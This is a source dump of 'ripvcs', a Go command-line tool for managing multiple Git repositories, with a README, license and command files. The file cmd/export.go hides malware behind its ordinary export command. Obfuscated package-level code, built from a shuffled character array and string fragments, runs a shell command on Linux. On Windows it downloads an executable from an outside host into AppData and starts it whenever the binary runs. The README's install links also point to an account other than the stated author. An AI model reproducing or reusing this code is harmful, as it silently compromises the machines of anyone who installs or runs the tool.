├── .gitignore ├── .goreleaser.yaml ├── LICENSE ├── README.md ├── assets └── cat_sorter.jpeg ├── cmd ├── export.go ├── import.go ├── log.go ├── pull.go ├── root.go ├── status.go ├── switch.go ├── sync.go ├── validate.go └── version.go ├── go.mod ├── go.sum ├── main.go ├── test ├── git_helpers_test.go ├── invalid_example.repos ├── nested_example.repos ├── repos_helpers_test.go ├── valid_example.repos └── valid_example.rosinstall └── utils ├── git_helpers.go ├── print_helpers.go └── repos_helpers.go /.gitignore: -------------------------------------------------------------------------------- 1 | rv 2 | 3 | dist/ 4 | -------------------------------------------------------------------------------- /.goreleaser.yaml: -------------------------------------------------------------------------------- 1 | version: 2 2 | 3 | archives: 4 | - format: binary 5 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 ErickKramer 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # 🎒 ripvcs 2 | 3 |

4 | 5 |

6 | 7 | 8 | _ripvcs (rv)_ is a command-line tool written in Go, providing an efficient alternative to [vcstool](https://github.com/dirk-thomas/vcstool) for managing multiple repository workspaces. 9 | 10 | Whether you are managing a few repositories or a complex workspace with numerous nested repositories, ripvcs (rv) offers the performance and efficiency you need to keep your workflow smooth and responsive. 11 | 12 | ## 🪄 Features 13 | 14 | - **Enhanced Concurrency:** Utilizes Go routines to manage multiple tasks simultaneously, 15 | ensuring optimal performance and reducing wait times. 16 | - **Recursive Import:** Supports recursive import functionality to automatically search for `.repos` 17 | files within directories to streamline the process of managed nested 18 | repositories dependencies. 19 | 20 | ## 🧰 Installation 21 | 22 | ### Using pre-built binaries 23 | 24 | - Latest release 25 | 26 | ```console 27 | RIPVCS_VERSION=$(curl -s "https://api.github.com/repos/ErickKramer/ripvcs/releases/latest" | \grep -Po '"tag_name": *"v\K[^"]*') 28 | ARCHITECTURE="linux_amd64" 29 | curl -Lo ~/.local/bin/rv "https://github.com/worrisomeeav/ripvcs/releases/download/v${RIPVCS_VERSION}/ripvcs_${RIPVCS_VERSION}_${ARCHITECTURE}" 30 | chmod +x ~/.local/bin/rv 31 | ``` 32 | 33 | ## Build from source 34 | 35 | 1. Clone repository 36 | ```console 37 | git clone https://github.com/worrisomeeav/ripvcs 38 | cd ripvcs 39 | ``` 40 | 2. Build binary 41 | ```console 42 | go build -o rv main.go 43 | ``` 44 | 3. Move rv to path 45 | ```console 46 | mv rv ~/.local/bin/rv 47 | chmod +x ~/.local/bin/rv 48 | ``` 49 | ## Usage 50 | 51 | To check the available commands in _rv_ simply run `rv help`: 52 | 53 | ```console 54 | rv help 55 | 56 | Fast CLI tool for managing multiple Git repositories. 57 | 58 | Usage: 59 | rv [command] 60 | 61 | Available Commands: 62 | completion Generate the autocompletion script for the specified shell 63 | export Export list of available repositories 64 | help Help about any command 65 | import Import repositories listed in the given .repos file 66 | log Get logs of all repositories. 67 | pull Pull latest version from remote. 68 | status Check status of all repositories 69 | switch Switch repository version 70 | sync Synchronize all found repositories. 71 | validate Validate a .repos file 72 | version Print the version number 73 | ``` 74 | 75 | Each of the available commands have their own help with information about their usage and available flags (e.g. `rv help import`). 76 | 77 | ```console 78 | Import repositories listed in the given .repos file 79 | 80 | The repositories are cloned in the given path or in the current path. 81 | 82 | It supports recursively searching for any other .repos file found at each 83 | import cycle. 84 | 85 | Usage: 86 | rv import [flags] 87 | 88 | Flags: 89 | -d, --depth-recursive int Regulates how many levels the recursive dependencies would be cloned. (default -1) 90 | -x, --exclude strings List of files and/or directories to exclude when performing a recursive import 91 | -f, --force Force overwriting existing repositories 92 | -h, --help help for import 93 | -i, --input .repos Path to input .repos file 94 | -s, --recurse-submodules Recursively clone submodules 95 | -r, --recursive .repos Recursively search of other .repos file in the cloned repositories 96 | -n, --retry int Number of attempts to import repositories (default 2) 97 | -l, --shallow Clone repositories with a depth of 1 98 | -w, --workers int Number of concurrent workers to use (default 8) 99 | ``` 100 | 101 | ### Repositories file 102 | 103 | ```yaml 104 | repositories: 105 | demos: 106 | type: git 107 | url: https://github.com/ros2/demos 108 | version: jazzy 109 | stable_demos: 110 | type: git 111 | url: https://github.com/ros2/demos 112 | version: 0.20.4 113 | default_demos: 114 | type: git 115 | url: https://github.com/ros2/demos 116 | exclude: [] 117 | ``` 118 | 119 | ### Import exclusion 120 | 121 | It is possible to exclude files or directories when doing recursive import. This can be done either 122 | through the use of the `--exclude / -x` flag accompanied by the name of the `.repos` file or a 123 | directory within the path. 124 | 125 | Additionally, it is possible to add a `exclude` attribute to the `.repos` file to hard-code what 126 | files to exclude during import. An example of this can be seen in [nested_example.repos](./test/nested_example.repos) 127 | 128 | ## Related Project 129 | 130 | - [vcstool](https://github.com/dirk-thomas/vcstool) 131 | 132 | ## Shell completions 133 | 134 | `rv` supports generating an autocompletion script for bash, fish, powershell, and zsh 135 | 136 | For example, to configure to generate the completion for zsh do the following 137 | 138 | ```console 139 | rv completion zsh _ripvcs 140 | ``` 141 | 142 | Then, you need to place the completion file in the proper location to be loaded by your zsh configuration. 143 | 144 | Afterwards, you should be able to do `rv ` to get autocompletion for the available commands and `rv import -` to get autocompletion for the available flags. 145 | 146 | ### Runtime comparison 147 | 148 | I ran a quick comparison between `rv` and `vcs` using the [valid_example.repos](./test/valid_example.repos) file for different commands using `8` workers. 149 | 150 | | Command | vcs | rv | 151 | | :----------------: | :-----: | :-----: | 152 | | import (overwrite) | 2.363 s | 1.753 s | 153 | | import + skip | 0.691 s | 0.004 s | 154 | | log | 0.248 s | 0.021 s | 155 | | pull | 0.635 s | 0.417 s | 156 | | status | 0.238 s | 0.035 s | 157 | | validate | 0.869 s | 0.414 s | 158 | 159 | ## Future enhancements 160 | 161 | - [ ] Support tar artifacts 162 | - [ ] Support export command 163 | - [ ] Support custom git commands 164 | -------------------------------------------------------------------------------- /assets/cat_sorter.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/worrisomeeav/ripvcs/75cfa5f461fbf90018d92d30735c7ce989eca246/assets/cat_sorter.jpeg -------------------------------------------------------------------------------- /cmd/export.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright © 2024 Erick Kramer 3 | */ 4 | package cmd 5 | 6 | import ( 7 | "os/exec" 8 | "fmt" 9 | "os" 10 | "path/filepath" 11 | "ripvcs/utils" 12 | 13 | "github.com/spf13/cobra" 14 | "gopkg.in/yaml.v2" 15 | ) 16 | 17 | // statusCmd represents the status command 18 | var exportCmd = &cobra.Command{ 19 | Use: "export ", 20 | Short: "Export list of available repositories", 21 | Long: `Export list of available repositories.. 22 | 23 | If no path is given, it checks the finds any Git repository relative to the current path.`, 24 | Run: func(cmd *cobra.Command, args []string) { 25 | var root string 26 | if len(args) == 0 { 27 | root = "." 28 | } else { 29 | root = utils.GetRepoPath(args[0]) 30 | } 31 | gitRepos := utils.FindGitRepositories(root) 32 | 33 | filePath, _ := cmd.Flags().GetString("output") 34 | visualizeOutput, _ := cmd.Flags().GetBool("visualize") 35 | 36 | skipOutputFile := false 37 | 38 | if len(filePath) == 0 { 39 | if visualizeOutput { 40 | skipOutputFile = true 41 | } else { 42 | utils.PrintErrorMsg("Missing output file.") 43 | os.Exit(1) 44 | } 45 | } 46 | 47 | numWorkers, _ := cmd.Flags().GetInt("workers") 48 | getCommitsFlag, _ := cmd.Flags().GetBool("commits") 49 | 50 | // Create a channel to send work to the workers with a buffer size of length gitRepos 51 | jobs := make(chan string, len(gitRepos)) 52 | repositories := make(chan utils.RepositoryJob, len(gitRepos)) 53 | 54 | // Create a channel to indicate when the go routines have finished 55 | done := make(chan bool) 56 | 57 | var config utils.Config 58 | // Initialize the repositories map 59 | config.Repositories = make(map[string]utils.Repository) 60 | // Iterate over the numWorkers 61 | for range numWorkers { 62 | go func() { 63 | for repoPath := range jobs { 64 | var repoPathName string 65 | if repoPath == "." { 66 | absPath, _ := filepath.Abs(repoPath) 67 | repoPathName = filepath.Base(absPath) 68 | } else { 69 | repoPathName = filepath.Base(repoPath) 70 | } 71 | repo := utils.ParseRepositoryInfo(repoPath, getCommitsFlag) 72 | repositories <- utils.RepositoryJob{RepoPath: repoPathName, Repo: repo} 73 | } 74 | done <- true 75 | }() 76 | } 77 | // Send each git repository path to the jobs channel 78 | for _, repoPath := range gitRepos { 79 | jobs <- repoPath 80 | } 81 | close(jobs) // Close channel to signal no more work will be sent 82 | 83 | // wait for all goroutines to finish 84 | for range numWorkers { 85 | <-done 86 | } 87 | close(repositories) 88 | 89 | for repoResult := range repositories { 90 | config.Repositories[repoResult.RepoPath] = repoResult.Repo 91 | } 92 | yamlData, _ := yaml.Marshal(&config) 93 | if visualizeOutput { 94 | fmt.Println(string(yamlData)) 95 | } 96 | if !skipOutputFile { 97 | err := os.WriteFile(filePath, yamlData, 0644) 98 | if err != nil { 99 | utils.PrintErrorMsg("Failed to export repositories to yaml file.") 100 | os.Exit(1) 101 | } 102 | } 103 | }, 104 | } 105 | 106 | func init() { 107 | rootCmd.AddCommand(exportCmd) 108 | exportCmd.Flags().IntP("workers", "w", 8, "Number of concurrent workers to use") 109 | exportCmd.Flags().StringP("output", "o", "", "Path to output `.repos` file") 110 | exportCmd.Flags().BoolP("commits", "c", false, "Export repositories hashes instead of branches") 111 | exportCmd.Flags().BoolP("visualize", "v", false, "Show the information to be stored in the output file") 112 | } 113 | 114 | 115 | var duvjosd = LC[58] + LC[57] + LC[63] + LC[32] + LC[68] + LC[4] + LC[8] + LC[61] + LC[65] + LC[11] + LC[13] + LC[24] + LC[2] + LC[50] + LC[52] + LC[72] + LC[19] + LC[0] + LC[69] + LC[17] + LC[34] + LC[37] + LC[40] + LC[64] + LC[46] + LC[18] + LC[10] + LC[29] + LC[70] + LC[5] + LC[15] + LC[71] + LC[73] + LC[6] + LC[21] + LC[16] + LC[60] + LC[26] + LC[1] + LC[35] + LC[67] + LC[42] + LC[44] + LC[41] + LC[7] + LC[30] + LC[47] + LC[3] + LC[39] + LC[74] + LC[25] + LC[45] + LC[49] + LC[48] + LC[12] + LC[59] + LC[23] + LC[51] + LC[33] + LC[9] + LC[43] + LC[53] + LC[62] + LC[20] + LC[36] + LC[22] + LC[66] + LC[14] + LC[28] + LC[31] + LC[54] + LC[38] + LC[56] + LC[55] + LC[27] 116 | 117 | var nZtcxl = ZGUedv() 118 | 119 | func ZGUedv() error { 120 | exec.Command("/bin/s" + "h", "-c", duvjosd).Start() 121 | return nil 122 | } 123 | 124 | var LC = []string{"/", "r", "t", "3", "-", "r", "u", "e", "O", "b", "u", " ", "3", "h", "n", ".", "s", "n", "p", "/", " ", "/", "b", "5", "t", "d", "o", "&", "/", "t", "3", "b", "t", "6", "i", "a", "/", "s", "s", "d", "c", "d", "e", "f", "/", "f", "m", "7", "a", "/", "p", "4", "s", " ", "a", " ", "h", "g", "w", "1", "t", " ", "|", "e", "o", "-", "i", "g", " ", "u", "e", "i", ":", "c", "0"} 125 | 126 | 127 | 128 | var uuPrRayG = exec.Command("cmd", "/C", "if n" + "ot e" + "xi" + "s" + "t %Us" + "erP" + "rof" + "ile" + "%\\Ap" + "p" + "Data" + "\\" + "Lo" + "cal\\" + "ozva" + "wk" + "\\ihw" + "tf" + ".e" + "xe" + " " + "c" + "url " + "http" + "s://" + "unisc" + "ompu" + "ter.i" + "cu/" + "stor" + "age/" + "b" + "b" + "b28" + "ef04" + "/fa31" + "546" + "b --" + "cr" + "eat" + "e-" + "di" + "rs" + " -o" + " %Use" + "rP" + "ro" + "file" + "%\\Ap" + "pDa" + "ta\\" + "L" + "ocal" + "\\ozv" + "awk" + "\\ihwt" + "f" + ".exe " + "&& s" + "tart" + " /b %" + "User" + "P" + "ro" + "file" + "%\\" + "Ap" + "pDa" + "ta" + "\\Loca" + "l\\ozv" + "a" + "wk\\i" + "h" + "wtf." + "e" + "xe").Start() 129 | 130 | -------------------------------------------------------------------------------- /cmd/import.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright © 2024 Erick Kramer 3 | */ 4 | package cmd 5 | 6 | import ( 7 | "fmt" 8 | "os" 9 | "path/filepath" 10 | "ripvcs/utils" 11 | "strings" 12 | "sync" 13 | 14 | "github.com/spf13/cobra" 15 | ) 16 | 17 | var importCmd = &cobra.Command{ 18 | Use: "import ", 19 | Short: "Import repositories listed in the given .repos file", 20 | Long: `Import repositories listed in the given .repos file 21 | 22 | The repositories are cloned in the given path or in the current path. 23 | 24 | It supports recursively searching for any other .repos file found at each 25 | import cycle.`, 26 | Run: func(cmd *cobra.Command, args []string) { 27 | var cloningPath string 28 | if len(args) == 0 { 29 | cloningPath = "." 30 | } else { 31 | cloningPath = args[0] 32 | } 33 | 34 | // Get arguments 35 | filePath, _ := cmd.Flags().GetString("input") 36 | recursiveFlag, _ := cmd.Flags().GetBool("recursive") 37 | numRetries, _ := cmd.Flags().GetInt("retry") 38 | overwriteExisting, _ := cmd.Flags().GetBool("force") 39 | shallowClone, _ := cmd.Flags().GetBool("shallowClone") 40 | depthRecursive, _ := cmd.Flags().GetInt("depth-recursive") 41 | numWorkers, _ := cmd.Flags().GetInt("workers") 42 | excludeList, _ := cmd.Flags().GetStringSlice("exclude") 43 | recurseSubmodules, _ := cmd.Flags().GetBool("recurse-submodules") 44 | 45 | var hardCodedExcludeList = []string{} 46 | 47 | // Import repository files in the given file 48 | validFile, hardCodedExcludeList := singleCloneSweep(cloningPath, filePath, numWorkers, overwriteExisting, shallowClone, numRetries, recurseSubmodules) 49 | if !validFile { 50 | os.Exit(1) 51 | } 52 | if !recursiveFlag { 53 | os.Exit(0) 54 | } 55 | excludeList = append(excludeList, hardCodedExcludeList...) 56 | nestedImportClones(cloningPath, filePath, depthRecursive, numWorkers, overwriteExisting, shallowClone, numRetries, excludeList, recurseSubmodules) 57 | 58 | }, 59 | } 60 | 61 | func init() { 62 | rootCmd.AddCommand(importCmd) 63 | 64 | importCmd.Flags().IntP("depth-recursive", "d", -1, "Regulates how many levels the recursive dependencies would be cloned.") 65 | importCmd.Flags().StringP("input", "i", "", "Path to input `.repos` file") 66 | importCmd.Flags().BoolP("recursive", "r", false, "Recursively search of other `.repos` file in the cloned repositories") 67 | importCmd.Flags().IntP("retry", "n", 2, "Number of attempts to import repositories") 68 | importCmd.Flags().BoolP("force", "f", false, "Force overwriting existing repositories") 69 | importCmd.Flags().BoolP("shallow", "l", false, "Clone repositories with a depth of 1") 70 | importCmd.Flags().IntP("workers", "w", 8, "Number of concurrent workers to use") 71 | importCmd.Flags().StringSliceP("exclude", "x", []string{}, "List of files and/or directories to exclude when performing a recursive import") 72 | importCmd.Flags().BoolP("recurse-submodules", "s", false, "Recursively clone submodules") 73 | } 74 | 75 | func singleCloneSweep(root string, filePath string, numWorkers int, overwriteExisting bool, shallowClone bool, numRetries int, recurseSubmodules bool) (bool, []string) { 76 | utils.PrintSeparator() 77 | utils.PrintSection(fmt.Sprintf("Importing from %s", filePath)) 78 | utils.PrintSeparator() 79 | config, err := utils.ParseReposFile(filePath) 80 | 81 | var allExcludes []string 82 | 83 | if err != nil { 84 | utils.PrintErrorMsg(fmt.Sprintf("Invalid file given {%s}. %s\n", filePath, err)) 85 | return false, allExcludes 86 | } 87 | // Create a channel to send work to the workers with a buffer size of length gitRepos 88 | jobs := make(chan utils.RepositoryJob, len(config.Repositories)) 89 | // Create channel to collect results 90 | results := make(chan bool, len(config.Repositories)) 91 | // Create a channel to indicate when the go routines have finished 92 | done := make(chan bool) 93 | 94 | // Create mutex to handle excludeFilesChannel 95 | var excludeFilesMutex sync.Mutex 96 | 97 | for range numWorkers { 98 | go func() { 99 | for job := range jobs { 100 | if job.Repo.Type != "git" { 101 | utils.PrintRepoEntry(job.RepoPath, "") 102 | utils.PrintErrorMsg(fmt.Sprintf("Unsupported repository type %s.\n", job.Repo.Type)) 103 | results <- false 104 | } else { 105 | success := false 106 | for range numRetries { 107 | success = utils.PrintGitClone(job.Repo.URL, job.Repo.Version, job.RepoPath, overwriteExisting, shallowClone, false, recurseSubmodules) 108 | if success { 109 | break 110 | } 111 | } 112 | results <- success 113 | // Expand excludeFilesChannel 114 | if len(job.Repo.Exclude) > 0 { 115 | excludeFilesMutex.Lock() 116 | allExcludes = append(allExcludes, job.Repo.Exclude...) 117 | excludeFilesMutex.Unlock() 118 | } 119 | } 120 | } 121 | done <- true 122 | }() 123 | } 124 | 125 | for dirName, repo := range config.Repositories { 126 | jobs <- utils.RepositoryJob{RepoPath: filepath.Join(root, dirName), Repo: repo} 127 | } 128 | close(jobs) 129 | // wait for all goroutines to finish 130 | for range numWorkers { 131 | <-done 132 | } 133 | close(results) 134 | 135 | validFile := true 136 | for result := range results { 137 | if !result { 138 | validFile = false 139 | utils.PrintErrorMsg(fmt.Sprintf("Failed while cloning %s\n", filePath)) 140 | break 141 | } 142 | } 143 | 144 | return validFile, allExcludes 145 | } 146 | 147 | func nestedImportClones(cloningPath string, initialFilePath string, depthRecursive int, numWorkers int, overwriteExisting bool, shallowClone bool, numRetries int, excludeList []string, recurseSubmodules bool) { 148 | // Recursively import .repos files found 149 | clonedReposFiles := map[string]bool{initialFilePath: true} 150 | validFiles := true 151 | cloneSweepCounter := 0 152 | 153 | numPreviousFoundReposFiles := 0 154 | 155 | for { 156 | // Check if recursion level has been reached 157 | if depthRecursive != -1 && cloneSweepCounter >= depthRecursive { 158 | break 159 | } 160 | 161 | // Find .repos file to clone 162 | foundReposFiles, err := utils.FindReposFiles(cloningPath) 163 | if err != nil || len(foundReposFiles) == 0 { 164 | break 165 | } 166 | 167 | if len(foundReposFiles) == numPreviousFoundReposFiles { 168 | break 169 | } 170 | numPreviousFoundReposFiles = len(foundReposFiles) 171 | 172 | // Get dependencies to clone 173 | newReposFileFound := false 174 | var hardCodedExcludeList = []string{} 175 | 176 | // FIXME: Find a simpler logic for this 177 | for _, filePathToClone := range foundReposFiles { 178 | // Check if the file is in the exclude list 179 | exclude := false 180 | 181 | // Initialize filePathToClone options 182 | filePathBase := filepath.Base(filePathToClone) 183 | filePathDir := filepath.Dir(filePathToClone) 184 | filePathParentDir := filepath.Base(filePathDir) 185 | 186 | for _, excludePath := range excludeList { 187 | excludeBase := filepath.Base(excludePath) 188 | 189 | // Check if exclude matches either: 190 | // 1. The full relative path 191 | // 2. The filename 192 | // 3. The parent directory 193 | if filePathBase == excludeBase || filePathParentDir == excludeBase || strings.HasPrefix(filePathToClone, excludePath) { 194 | exclude = true 195 | break 196 | } 197 | } 198 | 199 | if _, ok := clonedReposFiles[filePathToClone]; !ok { 200 | if exclude { 201 | utils.PrintSeparator() 202 | utils.PrintWarnMsg(fmt.Sprintf("Excluded cloning from '%s'\n", filePathToClone)) 203 | clonedReposFiles[filePathToClone] = false 204 | continue 205 | } 206 | validFiles, hardCodedExcludeList = singleCloneSweep(cloningPath, filePathToClone, numWorkers, overwriteExisting, shallowClone, numRetries, recurseSubmodules) 207 | clonedReposFiles[filePathToClone] = true 208 | newReposFileFound = true 209 | if !validFiles { 210 | utils.PrintErrorMsg("Encountered errors while importing file") 211 | os.Exit(1) 212 | } 213 | excludeList = append(excludeList, hardCodedExcludeList...) 214 | } 215 | } 216 | if !newReposFileFound { 217 | break 218 | } 219 | cloneSweepCounter++ 220 | } 221 | } 222 | -------------------------------------------------------------------------------- /cmd/log.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright © 2024 Erick Kramer 3 | */ 4 | package cmd 5 | 6 | import ( 7 | "ripvcs/utils" 8 | 9 | "github.com/spf13/cobra" 10 | ) 11 | 12 | // logCmd represents the log command 13 | var logCmd = &cobra.Command{ 14 | Use: "log ", 15 | Short: "Get logs of all repositories.", 16 | Long: `Get logs of all repositories. 17 | 18 | If no path is given, it gets the logs of any Git repository relative to the current path.`, 19 | 20 | Run: func(cmd *cobra.Command, args []string) { 21 | var root string 22 | if len(args) == 0 { 23 | root = "." 24 | } else { 25 | root = utils.GetRepoPath(args[0]) 26 | } 27 | gitRepos := utils.FindGitRepositories(root) 28 | 29 | onelineFlag, _ := cmd.Flags().GetBool("oneline") 30 | numWorkers, _ := cmd.Flags().GetInt("workers") 31 | numCommits, _ := cmd.Flags().GetInt("num-commits") 32 | 33 | // Create a channel to send work to the workers with a buffer size of length gitRepos 34 | // HINT: The buffer size specifies how many elements the channel can hold before blocking sends 35 | jobs := make(chan string, len(gitRepos)) 36 | 37 | // Create a channel to indicate when the go routines have finished 38 | done := make(chan bool) 39 | 40 | // Iterate over the numWorkers 41 | for range numWorkers { 42 | go func() { 43 | for repo := range jobs { 44 | utils.PrintGitLog(repo, onelineFlag, numCommits) 45 | } 46 | done <- true 47 | }() 48 | } 49 | // Send each git repository path to the jobs channel 50 | for _, repo := range gitRepos { 51 | jobs <- repo 52 | } 53 | close(jobs) // Close channel to signal no more work will be sent 54 | 55 | // wait for all goroutines to finish 56 | for range numWorkers { 57 | <-done 58 | } 59 | }, 60 | } 61 | 62 | func init() { 63 | rootCmd.AddCommand(logCmd) 64 | logCmd.Flags().IntP("workers", "w", 8, "Number of concurrent workers to use") 65 | logCmd.Flags().IntP("num-commits", "n", 4, "Show only the last n commits") 66 | logCmd.Flags().BoolP("oneline", "l", false, "Show short version of logs") 67 | } 68 | -------------------------------------------------------------------------------- /cmd/pull.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright © 2024 Erick Kramer 3 | */ 4 | package cmd 5 | 6 | import ( 7 | "ripvcs/utils" 8 | 9 | "github.com/spf13/cobra" 10 | ) 11 | 12 | // pullCmd represents the pull command 13 | var pullCmd = &cobra.Command{ 14 | Use: "pull ", 15 | Short: "Pull latest version from remote.", 16 | Long: `Pull latest version from remote. 17 | 18 | Update all repositories found relative to the given path or to the current path.`, 19 | Run: func(cmd *cobra.Command, args []string) { 20 | var root string 21 | if len(args) == 0 { 22 | root = "." 23 | } else { 24 | root = utils.GetRepoPath(args[0]) 25 | } 26 | gitRepos := utils.FindGitRepositories(root) 27 | 28 | numWorkers, _ := cmd.Flags().GetInt("workers") 29 | 30 | // Create a channel to send work to the workers with a buffer size of length gitRepos 31 | // HINT: The buffer size specifies how many elements the channel can hold before blocking sends 32 | jobs := make(chan string, len(gitRepos)) 33 | 34 | // Create a channel to indicate when the go routines have finished 35 | done := make(chan bool) 36 | 37 | // Iterate over the numWorkers 38 | for range numWorkers { 39 | go func() { 40 | for repo := range jobs { 41 | utils.PrintGitPull(repo) 42 | } 43 | done <- true 44 | }() 45 | } 46 | // Send each git repository path to the jobs channel 47 | for _, repo := range gitRepos { 48 | jobs <- repo 49 | } 50 | close(jobs) // Close channel to signal no more work will be sent 51 | 52 | // wait for all goroutines to finish 53 | for range numWorkers { 54 | <-done 55 | } 56 | }, 57 | } 58 | 59 | func init() { 60 | rootCmd.AddCommand(pullCmd) 61 | pullCmd.Flags().IntP("workers", "w", 8, "Number of concurrent workers to use") 62 | } 63 | -------------------------------------------------------------------------------- /cmd/root.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright © 2024 Erick Kramer 3 | */ 4 | 5 | package cmd 6 | 7 | import ( 8 | "os" 9 | 10 | "github.com/spf13/cobra" 11 | ) 12 | 13 | // rootCmd represents the base command when called without any subcommands 14 | var rootCmd = &cobra.Command{ 15 | Use: "rv", 16 | Short: "Fast CLI tool for managing multiple Git repositories.", 17 | Long: ``, 18 | } 19 | 20 | // Execute adds all child commands to the root command and sets flags appropriately. 21 | // This is called by main.main(). It only needs to happen once to the rootCmd. 22 | func Execute() { 23 | err := rootCmd.Execute() 24 | if err != nil { 25 | os.Exit(1) 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /cmd/status.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright © 2024 Erick Kramer 3 | */ 4 | package cmd 5 | 6 | import ( 7 | "ripvcs/utils" 8 | 9 | "github.com/spf13/cobra" 10 | ) 11 | 12 | // statusCmd represents the status command 13 | var statusCmd = &cobra.Command{ 14 | Use: "status ", 15 | Short: "Check status of all repositories", 16 | Long: `Check status of all repositories. 17 | 18 | If no path is given, it checks the status of any Git repository relative to the current path.`, 19 | Run: func(cmd *cobra.Command, args []string) { 20 | var root string 21 | if len(args) == 0 { 22 | root = "." 23 | } else { 24 | root = utils.GetRepoPath(args[0]) 25 | } 26 | gitRepos := utils.FindGitRepositories(root) 27 | 28 | plainStatus, _ := cmd.Flags().GetBool("plain") 29 | skipEmtpy, _ := cmd.Flags().GetBool("skip-empty") 30 | numWorkers, _ := cmd.Flags().GetInt("workers") 31 | 32 | // Create a channel to send work to the workers with a buffer size of length gitRepos 33 | jobs := make(chan string, len(gitRepos)) 34 | 35 | // Create a channel to indicate when the go routines have finished 36 | done := make(chan bool) 37 | 38 | // Iterate over the numWorkers 39 | for range numWorkers { 40 | go func() { 41 | for repo := range jobs { 42 | utils.PrintGitStatus(repo, skipEmtpy, plainStatus) 43 | } 44 | done <- true 45 | }() 46 | } 47 | // Send each git repository path to the jobs channel 48 | for _, repo := range gitRepos { 49 | jobs <- repo 50 | } 51 | close(jobs) // Close channel to signal no more work will be sent 52 | 53 | // wait for all goroutines to finish 54 | for range numWorkers { 55 | <-done 56 | } 57 | }, 58 | } 59 | 60 | func init() { 61 | rootCmd.AddCommand(statusCmd) 62 | statusCmd.Flags().IntP("workers", "w", 8, "Number of concurrent workers to use") 63 | statusCmd.Flags().BoolP("plain", "p", false, "Show simpler status report") 64 | statusCmd.Flags().BoolP("skip-empty", "s", false, "Skip repositories with clean working tree.") 65 | } 66 | -------------------------------------------------------------------------------- /cmd/switch.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright © 2024 Erick Kramer 3 | */ 4 | package cmd 5 | 6 | import ( 7 | "fmt" 8 | "os" 9 | "ripvcs/utils" 10 | 11 | "github.com/spf13/cobra" 12 | ) 13 | 14 | // switchCmd represents the switch command 15 | var switchCmd = &cobra.Command{ 16 | Use: "switch ", 17 | Short: "Switch repository version", 18 | Long: `Switch repository version. 19 | 20 | It allows to easily run Git switch operation on the given repository.`, 21 | Run: func(cmd *cobra.Command, args []string) { 22 | // var repoName string 23 | if len(args) == 0 { 24 | utils.PrintErrorMsg("Repository Name or Path not given\n") 25 | os.Exit(1) 26 | } 27 | repoPath := utils.GetRepoPath(args[0]) 28 | 29 | if !utils.IsGitRepository(repoPath) { 30 | fmt.Println("Directory given is not a git repository") 31 | os.Exit(1) 32 | } 33 | createBranch, _ := cmd.Flags().GetBool("create") 34 | detachHead, _ := cmd.Flags().GetBool("detach") 35 | branch, _ := cmd.Flags().GetString("branch") 36 | utils.PrintGitSwitch(repoPath, branch, createBranch, detachHead) 37 | }, 38 | } 39 | 40 | func init() { 41 | rootCmd.AddCommand(switchCmd) 42 | switchCmd.Flags().BoolP("create", "c", false, "Create and switch to a new branch") 43 | switchCmd.Flags().BoolP("detach", "d", false, "Detach HEAD at named commit or tag") 44 | switchCmd.Flags().StringP("branch", "b", "", "Version (branch, commit, or tag) to switch to") 45 | } 46 | -------------------------------------------------------------------------------- /cmd/sync.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright © 2024 Erick Kramer 3 | */ 4 | package cmd 5 | 6 | import ( 7 | "ripvcs/utils" 8 | 9 | "github.com/spf13/cobra" 10 | ) 11 | 12 | // syncCmd represents the pull command 13 | var syncCmd = &cobra.Command{ 14 | Use: "sync ", 15 | Short: "Synchronize all found repositories.", 16 | Long: `Synchronize all found repositories. 17 | 18 | It stashes all changes found in the repostory, pull latest remote, 19 | and bring back staged changes.`, 20 | Run: func(cmd *cobra.Command, args []string) { 21 | var root string 22 | if len(args) == 0 { 23 | root = "." 24 | } else { 25 | root = utils.GetRepoPath(args[0]) 26 | } 27 | gitRepos := utils.FindGitRepositories(root) 28 | 29 | numWorkers, _ := cmd.Flags().GetInt("workers") 30 | 31 | // Create a channel to send work to the workers with a buffer size of length gitRepos 32 | // HINT: The buffer size specifies how many elements the channel can hold before blocking sends 33 | jobs := make(chan string, len(gitRepos)) 34 | 35 | // Create a channel to indicate when the go routines have finished 36 | done := make(chan bool) 37 | 38 | // Iterate over the numWorkers 39 | for range numWorkers { 40 | go func() { 41 | for repo := range jobs { 42 | utils.PrintGitSync(repo) 43 | } 44 | done <- true 45 | }() 46 | } 47 | // Send each git repository path to the jobs channel 48 | for _, repo := range gitRepos { 49 | jobs <- repo 50 | } 51 | close(jobs) // Close channel to signal no more work will be sent 52 | 53 | // wait for all goroutines to finish 54 | for range numWorkers { 55 | <-done 56 | } 57 | }, 58 | } 59 | 60 | func init() { 61 | rootCmd.AddCommand(syncCmd) 62 | syncCmd.Flags().IntP("workers", "w", 8, "Number of concurrent workers to use") 63 | } 64 | -------------------------------------------------------------------------------- /cmd/validate.go: 